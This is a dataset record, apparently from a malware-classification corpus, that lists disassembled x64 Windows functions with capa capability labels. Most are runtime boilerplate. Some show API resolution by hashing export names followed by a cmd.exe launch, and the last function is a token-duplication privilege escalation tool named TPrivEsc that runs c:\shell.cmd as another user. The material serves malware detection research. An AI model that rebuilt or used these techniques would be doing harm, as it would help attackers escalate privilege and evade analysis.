joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000a168
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.1401ba000
add rsp, 0x28
jmp 0x14000a168
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push r14
sub rsp, 0xb0
and dword [rsp + 0x20], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor edi, edi
xor eax, eax
lock cmpxchg qword [0x14003ffa0], rbx
je 0x14000a1b2
cmp rax, rbx
jne 0x14000a1c7
mov edi, 1
mov eax, dword [0x14003ffa8]
cmp eax, 1
jne 0x14000a1d4
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x14000a241
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000a19b
mov eax, dword [0x14003ffa8]
test eax, eax
jne 0x14000a237
mov dword [0x14003ffa8], 1
lea r14, [0x140020840]
lea rbx, [0x140020828]
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x24], eax
cmp rbx, r14
jae 0x14000a229
test eax, eax
jne 0x14000a22d
cmp qword [rbx], 0
je 0x14000a21e
mov rax, qword [rbx]
mov rcx, qword [0x140020800]
call rcx
mov dword [rsp + 0x24], eax
add rbx, 8
mov qword [rsp + 0x30], rbx
jmp 0x14000a1ff
test eax, eax
je 0x14000a241
mov eax, 0xff
jmp 0x14000a394
mov dword [0x14003f964], 1
mov eax, dword [0x14003ffa8]
cmp eax, 1
jne 0x14000a269
lea rdx, [0x140020820]
lea rcx, [0x140020808]
call sub.msvcrt.dll__initterm
mov dword [0x14003ffa8], 2
test edi, edi
jne 0x14000a276
xor eax, eax
xchg qword [0x14003ffa0], rax
cmp qword [0x14003ffb0], 0
je 0x14000a2aa
lea rcx, [0x14003ffb0]
call fcn.14000a9b0
test eax, eax
je 0x14000a2aa
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x14003ffb0]
mov r9, qword [0x140020800]
call r9
mov rax, qword [sym.imp.msvcrt.dll__acmdln]
mov rbx, qword [rax]
mov qword [rsp + 0x28], rbx
mov edi, dword [rsp + 0x20]
movzx ecx, byte [rbx]
cmp cl, 0x20
ja 0x14000a336
test cl, cl
je 0x14000a2cd
test edi, edi
jne 0x14000a336
dec cl
cmp cl, 0x1f
ja 0x14000a2e0
inc rbx
mov qword [rsp + 0x28], rbx
mov cl, byte [rbx]
jmp 0x14000a2cd
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rbx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140007bf4
mov dword [0x14003f960], eax
cmp dword [0x14003f980], 0
jne 0x14000a31f
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14003f964], 0
jne 0x14000a334
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14003f960]
jmp 0x14000a394
cmp cl, 0x22
jne 0x14000a348
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [rsp + 0x20], eax
call qword [sym.imp.msvcrt.dll__ismbblead]
test eax, eax
je 0x14000a35a
inc rbx
mov qword [rsp + 0x28], rbx
inc rbx
mov qword [rsp + 0x28], rbx
jmp 0x14000a2bd
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop r14
ret
Function at 0x140169880
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x110
mov dword [rsp + 0x60], 0
mov dword [rsp + 0x50], 0
lea rax, [rsp + 0xa0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x80], 0
mov dword [rsp + 0x54], 0
mov edx, 0x68
lea rcx, [rsp + 0xa0]
call fcn.140169e00
mov edx, 0x18
lea rcx, [rsp + 0x68]
call fcn.140169e00
mov dword [rsp + 0xa0], 0x68
mov rcx, qword [rsp + 0x120]
call fcn.14016ed00
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14016994e
xor eax, eax
jmp 0x140169b53
mov dx, 0x5c
mov rcx, qword [rsp + 0x58]
call fcn.140169dd0
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
je 0x14016997c
xor eax, eax
mov rcx, qword [rsp + 0x80]
mov word [rcx], ax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x14
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x120]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1401699da
jmp 0x140169ac5
mov rdx, qword [0x140185b20]
mov ecx, dword [0x140185b10]
call fcn.14016a6c0
mov dword [rsp + 0x48], 2
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
lea rax, [rsp + 0x90]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x88]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x128]
call fcn.14016a6e2
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jge 0x140169a50
jmp 0x140169ac5
mov rcx, qword [rsp + 0x130]
call fcn.140169120
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0
jne 0x140169a6c
jmp 0x140169ac5
mov r9d, dword [rsp + 0x54]
mov r8, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
call fcn.140169480
test eax, eax
jne 0x140169a90
jmp 0x140169ac5
mov rdx, qword [0x140185b80]
mov ecx, dword [0x140185b70]
call fcn.14016a6c0
xor edx, edx
mov rcx, qword [rsp + 0x70]
call fcn.14016a6e2
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jge 0x140169abd
jmp 0x140169ac5
mov dword [rsp + 0x60], 1
cmp qword [rsp + 0x58], 0
je 0x140169ad7
mov rcx, qword [rsp + 0x58]
call fcn.14016eeb0
cmp qword [rsp + 0x68], 0
je 0x140169afb
cmp qword [rsp + 0x68], 0xffffffffffffffff
je 0x140169afb
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x68], 0
cmp qword [rsp + 0x70], 0
je 0x140169b1f
cmp qword [rsp + 0x70], 0xffffffffffffffff
je 0x140169b1f
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x70], 0
cmp qword [rsp + 0x128], 0
je 0x140169b4f
cmp qword [rsp + 0x128], 0xffffffffffffffff
je 0x140169b4f
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x128], 0
mov eax, dword [rsp + 0x60]
add rsp, 0x110
pop rdi
ret
Function at 0x140169b70
Capabilities:
Get common file path

Disassembly:
push rsi
push rdi
sub rsp, 0xca8
mov rax, qword [0x140185040]
xor rax, rsp
mov qword [rsp + 0xc90], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x260]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea rax, [rsp + 0x470]
mov rdi, rax
xor eax, eax
mov ecx, 0x410
rep stosb byte [rdi], al
lea rax, [rsp + 0x880]
lea rcx, str.C:Windows_system32cmd.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x38
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x8b8]
mov rdi, rax
xor eax, eax
mov ecx, 0x3d8
rep stosb byte [rdi], al
lea rdx, [0x140185ae0]
mov ecx, 0xaeb2560
call fcn.140169e90
test eax, eax
je 0x140169ce5
lea rdx, [0x140185af8]
mov ecx, 0x7d1aa4fe
call fcn.140169e90
test eax, eax
je 0x140169ce5
lea rdx, [0x140185b10]
mov ecx, 0xcb5ef918
call fcn.140169e90
test eax, eax
je 0x140169ce5
lea rdx, [0x140185b28]
mov ecx, 0xdcdd1c32
call fcn.140169e90
test eax, eax
je 0x140169ce5
lea rdx, [0x140185b40]
mov ecx, 0x4898763e
call fcn.140169e90
test eax, eax
je 0x140169ce5
lea rdx, [0x140185b58]
mov ecx, 0xc1189c40
call fcn.140169e90
test eax, eax
je 0x140169ce5
lea rdx, [0x140185b70]
mov ecx, 0x2f7cb09e
call fcn.140169e90
test eax, eax
je 0x140169ce5
lea rdx, [0x140185b88]
mov ecx, 0x3b042567
call fcn.140169e90
test eax, eax
je 0x140169ce5
lea rdx, [0x140185ba0]
mov ecx, 0x7f13a087
call fcn.140169e90
test eax, eax
jne 0x140169cef
mov eax, 1
jmp 0x140169dac
lea rdx, [rsp + 0x50]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x140169d0d
mov eax, 1
jmp 0x140169dac
lea r9, [rsp + 0x260]
xor r8d, r8d
lea rdx, [0x14017b378]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x140169d35
mov eax, 1
jmp 0x140169dac
lea r8, [rsp + 0x260]
lea rdx, str.___s
lea rcx, [rsp + 0x470]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x28]
call fcn.140001100
lea r9, [rsp + 0x30]
mov r8d, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x470]
call fcn.140169170
test eax, eax
jne 0x140169d88
mov eax, 1
jmp 0x140169dac
mov r8, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x880]
call fcn.140169880
test eax, eax
jne 0x140169daa
mov eax, 1
jmp 0x140169dac
xor eax, eax
mov rcx, qword [rsp + 0xc90]
xor rcx, rsp
call fcn.14016a800
add rsp, 0xca8
pop rdi
pop rsi
ret
Function at 0x14016a540
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword gs:[0x60]
mov qword [rsp + 0x10], rax
cmp qword [rsp + 0x10], 0
jne 0x14016a561
xor eax, eax
jmp 0x14016a6b3
mov rax, qword [rsp + 0x10]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
sub rax, 0x10
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rsp], rax
cmp qword [rsp], 0
jne 0x14016a595
xor eax, eax
jmp 0x14016a6b3
mov rax, qword [rsp]
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x18]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14016a5b4
xor eax, eax
jmp 0x14016a6b3
mov rax, qword [rsp + 0x18]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp dword [rax], 0x4550
je 0x14016a5e0
xor eax, eax
jmp 0x14016a6b3
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0
jne 0x14016a613
xor eax, eax
jmp 0x14016a6b3
mov rax, qword [rsp]
mov qword [0x140185bd8], rax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0x18]
mov dword [0x140185bd0], eax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [0x140185bc0], rax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [0x140185bb8], rax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [0x140185bc8], rax
cmp qword [0x140185bd8], 0
je 0x14016a6a8
cmp dword [0x140185bd0], 0
je 0x14016a6a8
cmp qword [0x140185bc0], 0
je 0x14016a6a8
cmp qword [0x140185bb8], 0
je 0x14016a6a8
cmp qword [0x140185bc8], 0
jne 0x14016a6ae
xor eax, eax
jmp 0x14016a6b3
mov eax, 1
add rsp, 0x38
ret

Function at 0x14016b1e8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14016b232
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14016b232
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14016b232
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14016b232
cmp dword [rcx + 0x84], 0xe
jbe 0x14016b232
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14016b234
xor al, al
add rsp, 0x28
ret

Function at 0x14016fbe0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14016f9dc
Function at 0x140172cf4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140172d24
xor eax, eax
jmp 0x140172de7
mov rbp, rbx
cmp word [rax], si
je 0x140172d49
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140172d30
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140172d2c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140172c14
movsxd r14, eax
test eax, eax
jne 0x140172d87
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140172d1d
mov rcx, r14
call fcn.140173bd0
mov rdi, rax
test rax, rax
jne 0x140172da0
xor ecx, ecx
call fcn.140170a30
jmp 0x140172d7c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140172c14
test eax, eax
jne 0x140172dd1
mov rcx, rdi
call fcn.140170a30
jmp 0x140172ddb
xor ecx, ecx
call fcn.140170a30
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1401762e0
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140171ce4
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14017636a
cmp byte [rbp - 0x21], r15b
je 0x140176365
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1401763a0
call fcn.1401743e0
test eax, eax
jne 0x14017638c
cmp byte [rbp - 0x21], r15b
je 0x140176384
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1401763a0
cmp byte [rbp - 0x21], r15b
je 0x14017639d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1401712c4
test eax, eax
jne 0x140176440
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140171ce4
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1401763df
cmp byte [rbp - 0x21], r15b
je 0x140176414
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140176414
call fcn.1401743e0
test eax, eax
jne 0x140176400
cmp byte [rbp - 0x21], r15b
je 0x1401763f9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140176414
cmp byte [rbp - 0x21], r15b
je 0x140176411
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1401712c4
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140176440
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140176443
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140176451
mov rcx, rdi
call fcn.140170a30
cmp byte [rbp + 0x3f], r15b
je 0x140176460
mov rcx, qword [rbp + 0x27]
call fcn.140170a30
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140179290
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1401792b8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1401792b8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14000a7f0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140011350
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140011350
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x14000a860
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14001b0a4]
mov rbx, rcx
test esi, esi
jle 0x14000a990
mov rax, qword [0x14001b0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000a8ab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000a935
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000a890
mov rcx, rbx
call fcn.14000b2b0
mov rdi, rax
test rax, rax
je 0x14000a9b2
mov rax, qword [0x14001b0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000b3f0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14001b0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000a997
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000a92e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000a940
add dword [0x14001b0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14001b0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000a92e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000a7f0
nop dword [rax]
xor esi, esi
jmp 0x14000a8b8
mov rax, qword [0x14001b0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000a7f0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14000a7f0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000af20
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14001b100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14001b0e0]
test rbx, rbx
je 0x14000af7c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14000af73
test rsi, rsi
je 0x14000af73
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000af58
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000b2b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400177d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000b2d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000b2d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000b2d0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000b32d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000b324
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000b2d0
add rax, 0x28
cmp rax, r9
jne 0x14000b310
xor eax, eax
ret

Function at 0x14000b330
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400177d0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000b34f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000b358
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000b34f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000b3f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400177d0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000b40f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000b418
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140013690
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x140014180]
jmp 0x14000c100

Function at 0x1400136a0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x140014180]
jmp 0x14000c100
Function at 0x140013810
Capabilities:
Create process on windows

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x110
mov rbx, rdx
mov esi, ecx
call fcn.14000a5e0
mov rcx, qword [rbx + 8]
call sub.msvcrt.dll_atoi
mov ebx, eax
cmp esi, 2
jne 0x1400139ed
lea rcx, str._nCode_Written_By_Whiteheart_n
call fcn.140011ae0
mov r8d, ebx
mov edx, 1
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140013a75
lea rcx, str._n_nRemote_Process_is_opened_n
call fcn.140011ae0
lea r8, [rsp + 0x70]
mov edx, 0xf
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140013a18
mov edx, ebx
lea rcx, str._n_nProcess_Token_Opened_Succesfully_nPid_::__d__n
call fcn.140011ae0
mov ecx, 8
call fcn.140013240
xor r8d, r8d
mov rcx, qword [rsp + 0x70]
mov dword [rsp + 0x20], 1
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x78]
mov r9d, 2
mov edx, 0x2000000
mov qword [rsp + 0x28], rax
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x140013a3c
lea rcx, str._n_nToken_Is_Duplicated_Successfully____n
call fcn.140011ae0
lea rax, [rsp + 0x6c]
mov r9d, dword [rsp + 0x6c]
mov rcx, qword [rsp + 0x78]
lea r8, [rsp + 0x68]
mov edx, 0xc
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov edx, dword [rsp + 0x68]
lea rcx, str.Session_ID_is::__d
call fcn.140011ae0
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
je 0x140013a2b
xor eax, eax
lea rdi, [rsp + 0xa4]
xor edx, edx
xor r9d, r9d
mov ecx, 0x19
lea r8, str.c:_shell.cmd
mov dword [rsp + 0xa0], 0x68
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x80]
mov ecx, 6
mov dword [rsp + 0xdc], 1
rep stosd dword [rdi], eax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rdx
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0xa0]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, str.c:windows_system32
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x10
mov dword [rsp + 0x28], 1
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x140013a57
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call rbx
mov rcx, qword [rsp + 0x78]
call rbx
mov rcx, qword [rsp + 0x70]
call rbx
xor eax, eax
add rsp, 0x110
pop rbx
pop rsi
pop rdi
ret
lea rcx, str.
call fcn.140011ae0
lea rcx, str._nUsage_::_TPrivEsc__PID__n
call fcn.140011ae0
lea rcx, str._n
call fcn.140011ae0
mov eax, 3
jmp 0x1400139e2
lea rcx, str._n_nUnable_to_open_process_token____n
call fcn.140011ae0
mov eax, 6
jmp 0x1400139e2
lea rcx, str._nUnbale_To_Impersonate_User_n
call fcn.140011ae0
jmp 0x14001392d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._n_nUnable_to_Duplicate_Token_Error::__d_n
mov edx, eax
call fcn.140011ae0
mov eax, 7
jmp 0x1400139e2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._n_UNABLE_CREATE_NEW_PROCESS_n_ERROR::__d
mov edx, eax
call fcn.140011ae0
mov eax, 9
jmp 0x1400139e2
mov edx, ebx
lea rcx, str._n_nUnable_to_open_process_ID__d__n
call fcn.140011ae0
mov eax, 5
jmp 0x1400139e2